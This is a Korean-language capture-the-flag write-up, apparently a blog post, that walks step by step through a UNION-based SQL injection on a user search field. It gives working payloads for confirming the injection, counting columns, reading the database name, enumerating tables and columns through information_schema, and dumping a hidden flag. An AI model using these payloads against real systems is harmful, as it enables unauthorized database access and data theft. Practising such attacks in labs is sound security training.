
숨겨진 데이터를 찾는 문제이다.

초기 화면을 살펴보면 4개의 유저 정보와 검색할 수 있는 입력란이 있다. 우리의 목표는 숨겨진 flag를 찾아야 하기 때문에 이전 글에 포스팅한 것처럼 첫 번째로 sql injection 포인트를 찾아보자.

normaltic' and '1'='1' #
해당 값을 주입 시에 아무 문제 없이 같은 값이 출력되는 것으로 보아 query를 사용할 수 있다는 것을 알 수 있다. 이제 몇 개의 column을 사용하는지 확인해 보자.

column 수를 하나씩 늘려보자.

normaltic' union select 1 # X
normaltic' union select 1,2,3,4,5 # X
normaltic' union select 1,2,3,4 # O
column 수가 4개일 경우 값이 나오는 걸 볼 수 있다. 서버에서 작성해둔 column이 총 4개라는 것이다. 이제 DB 정보를 추출해 보자!

normaltic' union select 1,database(),3,4 #
2번째 column에 database()를 작성했으므로 level에 db가 나오는 걸 알 수 있다. db 이름은 sqli_1이다. 이제 table 이름을 찾아보자!

normaltic' union select 1,table_name,3,4 from information_schema.tables where table_schema = 'sqli_1' #
총 3개의 table이 나왔다! 제일 의심스러운 flag_table부터 column을 확인해 보자.

normaltic' union select 1,column_name,3,4 from information_schema.columns where table_name = 'flag_table' #
flag라는 column을 찾았다! 안에 있는 데이터를 확인해 보자!

normaltic' union select 1,flag,3,4 from flag_table #
안에 있는 flag 값을 획득할 수 있다!